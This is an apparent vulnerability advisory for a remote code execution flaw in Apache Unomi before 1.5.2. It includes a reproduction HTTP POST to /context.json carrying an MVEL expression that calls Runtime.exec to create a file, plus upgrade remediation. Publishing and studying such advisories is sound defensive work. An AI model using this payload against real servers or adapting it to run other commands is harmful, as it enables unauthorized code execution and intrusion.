Summary
Affected versions of Apache Unomi allows remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitratry classes resulting in Remote Code Execution (RCE).
Product
Apache Unomi before 1.5.2
Impact
The vulnerability is triggered through a public endpoint and allows an attacker to run OS commands on the vulnerable server.
Steps to reproduce
Make the following HTTP request which contains a parameter containing a MVEL expression (script::Runtime r = Runtime.getRuntime(); r.exec(”touch /tmp/POC”);).
POST /context.json HTTP/1.1
...
Content-Length: 325
{
"filters": [
{
"id": "filter1",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime();
r.exec("touch /tmp/POC");"
},
"type": "profilePropertyCOndition"
}
}
]
}
],
"sessionId": "demo-session-id"
}
Expected result:
A file named POC will be created in /tmp folder.
Remediation
Update Apache Unomi to 1.5.2 and above
Credit
This issue was discovered and reported by Checkmarx Security Researcher Eugene Rojavski.
